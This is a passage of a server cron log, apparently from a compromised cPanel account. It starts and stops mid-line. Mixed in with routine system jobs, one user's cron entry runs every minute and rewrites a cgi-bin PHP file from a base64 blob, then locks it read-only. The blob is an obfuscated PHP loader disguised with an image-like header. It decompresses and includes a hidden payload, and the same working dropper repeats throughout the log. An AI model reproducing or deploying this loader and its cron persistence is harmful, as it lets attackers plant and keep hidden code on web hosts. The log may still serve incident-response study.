"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:12:01 server CROND[31579]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 17:13:01 server CROND[31697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:14:01 server CROND[31869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:15:01 server CROND[31932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:15:01 server CROND[31934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:15:01 server CROND[31933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:16:01 server CROND[32055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:17:01 server CROND[32119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:18:01 server CROND[32182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:19:01 server CROND[32340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:20:01 server CROND[32419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:20:01 server CROND[32421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:20:01 server CROND[32422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:20:01 server CROND[32425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:20:01 server CROND[32424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 17:21:01 server CROND[32566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:22:01 server CROND[32631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:23:01 server CROND[32709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:24:01 server CROND[328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:25:01 server CROND[483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:25:01 server CROND[485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx